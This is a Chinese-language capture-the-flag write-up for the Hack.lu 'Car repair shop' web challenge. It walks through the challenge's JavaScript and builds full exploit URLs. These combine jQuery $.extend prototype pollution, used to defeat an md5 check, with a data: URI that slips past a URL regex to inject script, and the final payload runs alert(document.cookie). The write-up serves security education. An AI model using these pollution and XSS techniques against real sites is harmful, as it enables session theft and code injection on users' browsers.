Hack.luCTF-Car-repair-shop详解

 

JS题目,代码全在前端,合并一下关键代码如下:

const urlParams = new URLSearchParams(window.location.search)
const h = location.hash.slice(1)
const bugatti = new Car('Bugatti', 'T35', 'green', 'assets/images/bugatti.png')
const porsche = new Car('Porsche', '911', 'yellow', 'assets/images/porsche.png')

const cars = [bugatti, porsche]

porsche.repair = () => {
    if(!bugatti.isStarted()){
        infobox(`Not so fast. Repair the other car first!`)
    }
    else if($.md5(porsche) == '9cdfb439c7876e703e307864c9167a15'){
        if(urlParams.has('help')) {
            repairWithHelper(urlParams.get('help'))
        }
    }
    else{
        infobox(`Repairing this is not that easy.`)
    }
}
porsche.ignition = () => {
    infobox(`Hmm ... WTF!`)
}

$(document).ready(() => {
    const [car] = cars
    $('.fa-power-off').click(() => car.powerOn())
    $('.fa-car').click(() => car.info())
    $('.fa-lightbulb-o').click(() => car.light())
    $('.fa-battery-quarter').click(() => car.battery())
    $('.fa-key').click(() => car.ignition())
    $('.fa-wrench').click(() => car.repair())

    $('.fa-step-forward').click(() => nextCar())

    if(h.includes('Bugatti'))
        autoStart(bugatti)
    if(h.includes('Porsche'))
        autoStart(porsche)
})


const nextCar = () => {
    cars.push(cars.shift())
    $(".image").attr('src', cars[0].pic);
}


const autoStart = (car) => {
    car.repair()
    car.ignition()
    car.powerOn()
}


const repairWithHelper = (src) => {
    /* who needs csp anyways !? */
    urlRegx = /^w{4,5}://car-repair-shop.fluxfingersforfuture.fluxfingers.net/[wd]+/.+.js$/;
    if (urlRegx.test(src)) {
        let s = document.createElement('script')
        s.src = src
        $('head').append(s)
    }
}


const infobox = (text) => {
    $('a').css({'pointer-events': 'none', 'border': 'none'})
    $('.infobox').addClass('infoAnimate')
        .text(text)
        .on('animationend', function() {
            $(this).removeClass('infoAnimate')
            $('a').css({'pointer-events': 'all', 'border': 'solid 1px rgba(255, 255, 255, .25)'})
    })

}

class Car {
    constructor(type, model, color, pic, key="") {
        this.type = type
        this.model = model
        this.color = color
        this.key = key
        this.pic = pic

        let started = false
        this.start = () => {
            started = true
        }
        this.isStarted = () => {
            return started
        }
    }
    powerOn() {
        if (this.isStarted()) {
            infobox(`Well Done!`)
            nextCar()

        } else {
            $('.chargeup')[0].play()
        }
    }
    info() {
        infobox(`This car is a ${this.type} ${this.model} in ${this.color}. It looks very nice! But it seems to be broken ...`)
    }
    repair() {
        if(urlParams.has('repair')) {
            $.extend(true, this, JSON.parse(urlParams.get('repair')))
        }
    }
    light() {
        infobox(`You turn on the lights ... Nothing happens.`)
    }
    battery() {
        infobox(`Hmmm, the battery is almost empty ... Maybe i can repair this somehow.`)
    }
    ignition() {
        if (this.key == "") {
            infobox(`Looks like the key got lost. No wonder the car is not starting ...`)
        }
        if (this.key == "?") {
            infobox(`The car started!`)
            this.start()
        }
    }
}

<!-- <script src="assets/js/car.key.js"></script> -->

根据题目和代码逻辑,首先生成了两个常量对象bugattiporsche

const bugatti = new Car('Bugatti', 'T35', 'green', 'assets/images/bugatti.png')
const porsche = new Car('Porsche', '911', 'yellow', 'assets/images/porsche.png')

通读代码找一下能够x的点,发现在repairWithHelper函数中存在script src可控的情况,不过传入的url要经过一个正则的限制。我们首先追一下怎么能调用到repairWithHelper函数

const repairWithHelper = (src) => {
    /* who needs csp anyways !? */
    urlRegx = /^w{4,5}://car-repair-shop.fluxfingersforfuture.fluxfingers.net/[wd]+/.+.js$/;
    if (urlRegx.test(src)) {
        let s = document.createElement('script')
        s.src = src
        $('head').append(s)
    }
}

Jquery加载完dom之后,取锚点的值为h,并判断是否包含bugatti、porsche字段值,而后将对象传入相应的autoStart函数执行。

if(h.includes('Bugatti'))
    autoStart(bugatti)
if(h.includes('Porsche'))
    autoStart(porsche)

autoStart中对car对象的调用方法不尽相同。对于bugatti来说,Car类中存在上述三个方法,而当对象为porsche的时候,方法ignition、repair会被改写。其中,在porsche.repair()方法中实现了repairWithHelper调用

const autoStart = (car) => {
    car.repair()
    car.ignition()
    car.powerOn()
}

省略中间步骤,梳理一下调用链大致需要经过两个重要的逻辑:

1、需要先repair第一辆名为”Bugatti”的车,改变bugatti.key = ?
2、使$.md5(porsche) == $.md5(“lol”)

先看第一个点,由于Car类内部ignition()方法调用了$extend,同时获取url参数repair用来合并Car类内属性,那么就可以通过传参覆盖key的值,因此构造repair={"key":"%F0%9F%94%91"}就能轻松过第一个步骤。

repair() {
    if(urlParams.has('repair')) {
        $.extend(true, this, JSON.parse(urlParams.get('repair')))
    }
}

同时$extend()方法也存在原型链污染问题,见文章:https://hackerone.com/reports/454365。这也是bypass第二步$.md5(porsche) == $.md5(“lol”)的关键,那么如何操作对象常量porsche?

首先,可以先看下面的取值

因为$.md5是对一串string类型的变量进行加密,那么传入的参数为对象时,势必就经过类型的转换。至于具体操作,我们可以把它理解为当前变量进行toString()。由于porsche这个对象没有toString()方法,按照Javascript的继承就会向上查找原型_proto(Car对象)是否有toString(),Car对象也没有toString(),继而再向上查找到proto_(Object对象),存在toString(),调用并返回字符串:[object Object],通过打印如下的例子验证。

其次,对于数组的toString()会合并数组内的键值并返回,那么如下的用法会使$.md5生成以”lol”为字符串的加密值。

因此,既然是将porsche对象进行$.md5的取值,那么我们污染继承链的某一个_proto_,使其为array类型,并赋值为”lol”,那么toString()在向上寻找调用的时候就能返回”lol”,而不是到达顶端Object原型的toString()方法。

综上,我们可以构造如下payload绕过以上两点的限制:

https://car-repair-shop.fluxfingersforfuture.fluxfingers.net/?&repair={"key":"%F0%9F%94%91","__proto__":{"__proto__":["lol"]}}#PorscheBugatti

接着就是以help为参数的引入script标签的src,不过要先bypass一段正则:

urlRegx = /^w{4,5}://car-repair-shop.fluxfingersforfuture.fluxfingers.net/[wd]+/.+.js$/;

这里是不可能污染原型的,因为会被重新赋值。可控点为car-repair-shop前后的字段。

参考官方wp解法,由于w{4,5}使得协议可控,用data://作为资源加载恶意的xss,同时data不关心mime的类型,使得我们可以把白名单的host放到mime的位置。其实对于src这个属性来说,应该是都支持data资源的调用。最终payload如下:

https://car-repair-shop.fluxfingersforfuture.fluxfingers.net/?help=data://car-repair-shop.fluxfingersforfuture.fluxfingers.net/hpdoger/,alert(document.cookie)//car.key.js&repair={"key":"?","__proto__":{"__proto__":["lol"]}}#BugattiPorsche

javascript调用链及类型转换真的可以去深究一下,师傅们博学多识,orz..

(完)